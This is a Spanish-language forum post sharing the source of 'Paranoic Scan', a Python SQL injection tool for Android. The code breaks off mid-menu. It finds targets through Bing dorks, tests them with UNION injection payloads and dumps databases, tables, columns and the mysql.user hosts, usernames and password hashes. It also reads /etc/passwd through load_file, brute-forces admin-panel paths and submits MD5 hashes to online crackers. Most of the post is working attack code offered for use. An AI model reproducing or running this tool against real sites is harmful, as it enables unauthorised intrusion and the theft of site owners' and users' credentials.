Un simple script en python para android , el cual lo uso en mi tablet , el script tiene las siguientes funciones :
[+] Scannea en bing buscando SQLI
[+] Un completo scanner SQLI
[+] Buscador de panel de administracion
[+] Codificador de MD5
[+] Codificador y Decodificador de Base64 y Hex
[+] Localizador de IP y sus DNS
[+] Crackeador de para hashes MD5
[+] HTTP FingerPrinting
Unas imagenes :
El codigo :
Si quieren bajarlo lo pueden hacer de aca
[+] Scannea en bing buscando SQLI
[+] Un completo scanner SQLI
[+] Buscador de panel de administracion
[+] Codificador de MD5
[+] Codificador y Decodificador de Base64 y Hex
[+] Localizador de IP y sus DNS
[+] Crackeador de para hashes MD5
[+] HTTP FingerPrinting
Unas imagenes :
El codigo :
Código:
#!usr/bin/python
# -*- coding: utf-8 -*-
#################################################################################
#This software is Copyright (c) 2014 by Doddy Hackman.
#
#This is free software, licensed under:
#
# The Artistic License 1.0
#
#The Artistic License
#
#Preamble
#
#The intent of this document is to state the conditions under which a Package
#may be copied, such that the Copyright Holder maintains some semblance of
#artistic control over the development of the package, while giving the users of
#the package the right to use and distribute the Package in a more-or-less
#customary fashion, plus the right to make reasonable modifications.
#
#Definitions:
#
# - "Package" refers to the collection of files distributed by the Copyright
# Holder, and derivatives of that collection of files created through
# textual modification.
# - "Standard Version" refers to such a Package if it has not been modified,
# or has been modified in accordance with the wishes of the Copyright
# Holder.
# - "Copyright Holder" is whoever is named in the copyright or copyrights for
# the package.
# - "You" is you, if you're thinking about copying or distributing this Package.
# - "Reasonable copying fee" is whatever you can justify on the basis of media
# cost, duplication charges, time of people involved, and so on. (You will
# not be required to justify it to the Copyright Holder, but only to the
# computing community at large as a market that must bear the fee.)
# - "Freely Available" means that no fee is charged for the item itself, though
# there may be fees involved in handling the item. It also means that
# recipients of the item may redistribute it under the same conditions they
# received it.
#
#1. You may make and give away verbatim copies of the source form of the
#Standard Version of this Package without restriction, provided that you
#duplicate all of the original copyright notices and associated disclaimers.
#
#2. You may apply bug fixes, portability fixes and other modifications derived
#from the Public Domain or from the Copyright Holder. A Package modified in such
#a way shall still be considered the Standard Version.
#
#3. You may otherwise modify your copy of this Package in any way, provided that
#you insert a prominent notice in each changed file stating how and when you
#changed that file, and provided that you do at least ONE of the following:
#
# a) place your modifications in the Public Domain or otherwise make them
# Freely Available, such as by posting said modifications to Usenet or an
# equivalent medium, or placing the modifications on a major archive site
# such as ftp.uu.net, or by allowing the Copyright Holder to include your
# modifications in the Standard Version of the Package.
#
# b) use the modified Package only within your corporation or organization.
#
# c) rename any non-standard executables so the names do not conflict with
# standard executables, which must also be provided, and provide a separate
# manual page for each non-standard executable that clearly documents how it
# differs from the Standard Version.
#
# d) make other distribution arrangements with the Copyright Holder.
#
#4. You may distribute the programs of this Package in object code or executable
#form, provided that you do at least ONE of the following:
#
# a) distribute a Standard Version of the executables and library files,
# together with instructions (in the manual page or equivalent) on where to
# get the Standard Version.
#
# b) accompany the distribution with the machine-readable source of the Package
# with your modifications.
#
# c) accompany any non-standard executables with their corresponding Standard
# Version executables, giving the non-standard executables non-standard
# names, and clearly documenting the differences in manual pages (or
# equivalent), together with instructions on where to get the Standard
# Version.
#
# d) make other distribution arrangements with the Copyright Holder.
#
#5. You may charge a reasonable copying fee for any distribution of this
#Package. You may charge any fee you choose for support of this Package. You
#may not charge a fee for this Package itself. However, you may distribute this
#Package in aggregate with other (possibly commercial) programs as part of a
#larger (possibly commercial) software distribution provided that you do not
#advertise this Package as a product of your own.
#
#6. The scripts and library files supplied as input to or produced as output
#from the programs of this Package do not automatically fall under the copyright
#of this Package, but belong to whomever generated them, and may be sold
#commercially, and may be aggregated with this Package.
#
#7. C or perl subroutines supplied by you and linked into this Package shall not
#be considered part of this Package.
#
#8. The name of the Copyright Holder may not be used to endorse or promote
#products derived from this software without specific prior written permission.
#
#9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
#WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
#MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#
#The End
#
#################################################################################
#Paranoic Scan 0.3
#Android Version
#(C) Doddy Hackman 2014
#################################################################################
import android,urllib2,socket,binascii,re,base64,hashlib
webvul = ""
# Functions
def hexencoder(texto):
return "[+] Result : "+"0x"+str(binascii.hexlify(texto))
def hexdecoder(texto):
text = re.sub("0x","",texto)
return "[+] Result : "+binascii.unhexlify(text)
def base64encoder(texto):
return "[+] Result : "+base64.b64encode(texto)
def base64decoder(texto):
return "[+] Result : "+base64.b64decode(texto)
def md5encoder(texto):
return "[+] Result : "+hashlib.md5(texto).hexdigest()
def reem(texto,parte):
return re.sub(parte,"hackman",texto)
def regexver(code):
if (re.findall("K0BRA(.*?)K0BRA",code)):
return True
else:
return False
def regexdar(code):
if (re.findall("K0BRA(.*?)K0BRA",code)):
return re.findall("K0BRA(.*?)K0BRA",code)[0]
def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()
def tomar(web,vars) :
nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]
return nave.open(web,vars).read()
def getdata(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).info()
def bypass(bypass):
if bypass == "--":
return("+","--")
elif bypass == "/*":
return("/**/","/**/")
else:
return("+","--")
def showtables(web):
pass1,pass2 = bypass("--")
respuesta = ""
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
respuesta = respuesta + "[+] Searching tables ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] Tables Found : "+numbers+"\n\n"
for counter in range(17,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
table = re.findall("K0BRA(.*?)K0BRA",code2)
table = table[0]
respuesta = respuesta + "[Table Found] : "+table+"\n"
else:
respuesta = respuesta + "[-] Not Found\n"
respuesta = respuesta + "\n[+] Finished"
return respuesta
def showcolumns(web,tabla):
respuesta = ""
pass1,pass2 = bypass("--")
tabla2 = tabla
tabla = "0x"+str(binascii.hexlify(tabla))
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass2)
respuesta = respuesta + "[+] Searching columns ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] Columns Found : "+numbers+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
column = re.findall("K0BRA(.*?)K0BRA",code2)
column = column[0]
respuesta = respuesta + "\n[Column Found in table "+str(tabla2)+"] : "+str(column)
else:
respuesta = respuesta + "[-] Not Found"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def showdbs(web):
respuesta = ""
pass1,pass2 = bypass("--")
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))",web)
code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
respuesta = respuesta + "[+] Searching DBS ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] DBS Found : "+numbers+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
db = re.findall("K0BRA(.*?)K0BRA",code2)
db = db[0]
respuesta = respuesta + "\n[DB Found] : "+db
else:
respuesta = respuesta + "[-] Not Found"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def dumper(web,table,col1,col2):
respuesta = ""
pass1,pass2 = bypass("--")
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,0x4B3042524131,"+col2+",0x4B3042524131)))",web)
code1 = toma(web1+pass1+"from"+pass1+table+pass2)
respuesta = respuesta + "[+] Searching values ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] Values Found : "+numbers+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
c1 = re.findall("K0BRA(.*?)K0BRA",code2)
c1 = c1[0]
c2 = re.findall("K0BRA1(.*?)K0BRA1",code2)
c2 = c2[0]
respuesta = respuesta + "\n["+col1+"] : "+c1+"\n"
respuesta = respuesta + "["+col2+"] : "+c2+"\n"
else:
respuesta = respuesta + "[-] Not Found\n"
respuesta = respuesta + "\n[+] Finished"
return respuesta
def mysqluser(web):
pass1,pass2 = bypass("--")
respuesta = ""
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))",web)
code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
respuesta = respuesta + "[+] Searching mysql.user ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] Users Found : "+numbers+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
host = re.findall("K0BRA(.*?)K0BRA",code2)
host = host[0]
user = re.findall("K0BRA1(.*?)K0BRA1",code2)
user = user[0]
passw = re.findall("K0BRA2(.*?)K0BRA2",code2)
passw = passw[0]
respuesta = respuesta + "\n[Host] : "+host
respuesta = respuesta + "\n[User] : "+user
respuesta = respuesta + "\n[Pass] : "+passw+"\n"
else:
respuesta = respuesta + "[-] Not Found\n"
respuesta = respuesta + "\n[+] Finished"
return respuesta
def showcolumnsdb(web,db,table):
respuesta = ""
db2 = db
table2 = table
db = "0x"+str(binascii.hexlify(db))
table = "0x"+str(binascii.hexlify(table))
pass1,pass2 = bypass("--")
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass2)
respuesta = respuesta + "[+] Searching columns in DB ...\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "\n[+] Columns Found : "+str(numbers)+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
column = re.findall("K0BRA(.*?)K0BRA",code2)
column = column[0]
respuesta = respuesta + "\n[Column Found] : "+str(column)
else:
respuesta = respuesta + "\n[-] Not Found"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def showtablesdb(web,db):
respuesta = ""
db2 = db
db = "0x"+str(binascii.hexlify(db))
pass1,pass2 = bypass("--")
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass2)
respuesta = respuesta + "[+] Searching tables in DB ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] Tables Found : "+str(numbers)+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
table = re.findall("K0BRA(.*?)K0BRA",code2)
table = table[0]
respuesta = respuesta + "\n[Table Found] : "+table
else:
respuesta = respuesta + "[-] Not Found"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def more(web):
respuesta = ""
pass1,pass2 = bypass("--")
otraweb = web
respuesta = respuesta + "[+] Searching DB Details ...\n"
hextest = "0x2f6574632f706173737764"
web1 = re.sub("hackman","unhex(hex(concat(0x334d50335a3452,0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241,0x334d50335a3452)))",web)
web2 = re.sub("hackman","unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))",otraweb)
code0 = toma(web1+pass2)
if (re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)):
datax = re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)
datar = re.split("K0BRA",datax[0])
respuesta = respuesta + "\n[+] Username : "+datar[1]
respuesta = respuesta + "\n[+] Database : "+datar[2]
respuesta = respuesta + "\n[+] Version : "+datar[3]+"\n"
code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
if (re.findall("K0BRA",code1)):
respuesta = respuesta + "\n[+] mysql.user : on"
code2 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
if (re.findall("K0BRA",code2)):
respuesta = respuesta + "\n[+] information_schema.tables : on"
codetres = toma(web2)
if (re.findall("ERTOR854",codetres)):
respuesta = respuesta + "\n[+] load_file() : on"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def httpfinger(target):
respuesta = ""
try:
respuesta = respuesta + str(getdata(target))
except:
respuesta = respuesta + "[-] Error"
return respuesta
def scanpanel(web):
contador = 0
panels=['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
respuesta = ""
respuesta = respuesta + "[+] Scanning ...\n"
for path in panels:
try:
toma(web+"/"+path)
respuesta = respuesta + "\n[+] Link : "+web+"/"+path
contador = contador + 1
except urllib2.URLError, e:
pass
if(contador==0) :
respuesta = respuesta + "\n[+] Not Found"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def crackmd5(md5) :
respuesta = ""
code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
if (re.findall("<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>",code)):
rex = re.findall("<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>",code)
return "[+] Hash : "+rex[0][1]
else:
code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")
if (re.findall("Decrypted Text: <\/b>(.*?)<\/font>",code)):
rex = re.findall("Decrypted Text: <\/b>(.*?)<\/font>",code)
return "[+] Hash : "+rex[0]
else:
code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)
if (re.findall("<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>",code)):
rex = re.findall("<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>",code)
return "[+] Hash : "+rex[0]
else:
return "[+] Hash : Not Found"
return respuesta
def locateip(pagina):
respuesta = ""
ip = socket.gethostbyname(str(pagina))
code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip)
respuesta = respuesta + "[++] IP Address Location\n"
if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
city = rex[0][1]
respuesta = respuesta + "\n[++] City : "+city
else:
respuesta = respuesta + "\n[++] City : Not Found"
if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
country = rex[0][1]
respuesta = respuesta + "\n[++] Country : "+country
else:
respuesta = respuesta + "\n[++] Country : Not Found"
if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
state = rex[0][1]
respuesta = respuesta + "\n[++] State : "+state
else:
respuesta = respuesta + "\n[++] State : Not Found"
code = toma("http://www.ip-adress.com/reverse_ip/"+ip)
if (re.findall("whois\/(.*?)\">Whois",code)):
rex = re.findall("whois\/(.*?)\">Whois",code)
respuesta = respuesta + "\n\n[++] DNS Founds\n"
for dns in rex:
respuesta = respuesta + "\n[+] "+dns
return respuesta
def sqltest(webs):
respuesta = ""
for web in webs :
if re.findall("=",web):
web = re.split("=",web)
web = web[0]+"="
try:
code = toma(web+"-1+union+select+1--")
if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
respuesta = respuesta + "[SQLI] : "+web+"\n"
except:
pass
return respuesta
def limpiar(pag):
limpia = []
for p in pag:
if p not in limpia:
limpia.append(p)
return limpia
def bingscan(dork,count):
respuesta = ""
pag = []
s = 10
while s <= int(count):
try:
code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
s += 10
for a in d:
pag.append(a)
except:
pass
pag = limpiar(pag)
return pag
##
aplicacion = android.Android()
def menuencoder():
aplicacion.dialogCreateAlert("Encoders")
aplicacion.dialogSetItems(["MD5 Encoder","Base64 Encoder","Base64 Decoder","Hex Encoder","Hex Decoder","Exit"])
aplicacion.dialogShow()
reh = aplicacion.dialogGetResponse().result
reb = reh["item"]
if reb==0:
aplicacion.dialogCreateAlert("MD5 Encoder")
aplicacion.dialogGetInput("MD5 Encoder","Enter Text")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menuencoder()
else:
texto = ref['value']
aplicacion.dialogCreateSpinnerProgress("MD5 Encoder","[+] Encoding ...")
aplicacion.dialogShow()
don = md5encoder(texto)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("MD5 Encoder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menuencoder()
if reb==1 :
aplicacion.dialogCreateAlert("Base64 Encoder")
aplicacion.dialogGetInput("Base64 Encoder","Enter Text")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menuencoder()
else:
texto = ref['value']
aplicacion.dialogCreateSpinnerProgress("Base64 Encoder","[+] Encoding ...")
aplicacion.dialogShow()
don = base64encoder(texto)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("Base64 Encoder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menuencoder()
if reb==2 :
aplicacion.dialogCreateAlert("Base64 Decoder")
aplicacion.dialogGetInput("Base64 Decoder","Enter Text")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menuencoder()
else:
texto = ref['value']
aplicacion.dialogCreateSpinnerProgress("Base64 Decoder","[+] Encoding ...")
aplicacion.dialogShow()
don = base64decoder(texto)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("Base64 Decoder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menuencoder()
if reb==3 :
aplicacion.dialogCreateAlert("Hex Encoder")
aplicacion.dialogGetInput("Hex Encoder","Enter Text")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menuencoder()
else:
texto = ref['value']
aplicacion.dialogCreateSpinnerProgress("Hex Encoder","[+] Encoding ...")
aplicacion.dialogShow()
don = hexencoder(texto)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("Hex Encoder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menuencoder()
if reb==4 :
aplicacion.dialogCreateAlert("Hex Decoder")
aplicacion.dialogGetInput("Hex Decoder","Enter Text")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menuencoder()
else:
texto = ref['value']
aplicacion.dialogCreateSpinnerProgress("Hex Decoder","[+] Encoding ...")
aplicacion.dialogShow()
don = hexdecoder(texto)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("Hex Decoder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menuencoder()
if reb==5:
menu()
def menusql():
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogSetItems(["Get Tables","Get Columns","Get Databases","Get Tables of DB","Get Columns of DB","Get mysql.users","Get Details DB","Dump Values","Exit"])
aplicacion.dialogShow()
reez = aplicacion.dialogGetResponse().result
opsql = reez["item"]
if opsql==0:
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Tables ...")
aplicacion.dialogShow()
don = showtables(webvul)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==1 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
tabla = ref['value']
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Columns ...")
aplicacion.dialogShow()
don = showcolumns(webvul,tabla)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==2 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Databases ...")
aplicacion.dialogShow()
don = showdbs(webvul)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==3 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogGetInput("SQLI Scanner","Enter DB Name")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
db = ref['value']
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Tables of DB ...")
aplicacion.dialogShow()
don = showtablesdb(webvul,db)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==4 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogGetInput("SQLI Scanner","Enter DB Name")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
db = ref['value']
aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
tabla = ref['value']
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Columns of DB ...")
aplicacion.dialogShow()
don = showcolumnsdb(webvul,db,tabla)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==5 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching mysql.users ...")
aplicacion.dialogShow()
don = mysqluser(webvul)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==6 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Getting Information ...")
aplicacion.dialogShow()
don = more(webvul)
aplicacion.dialogDismiss()
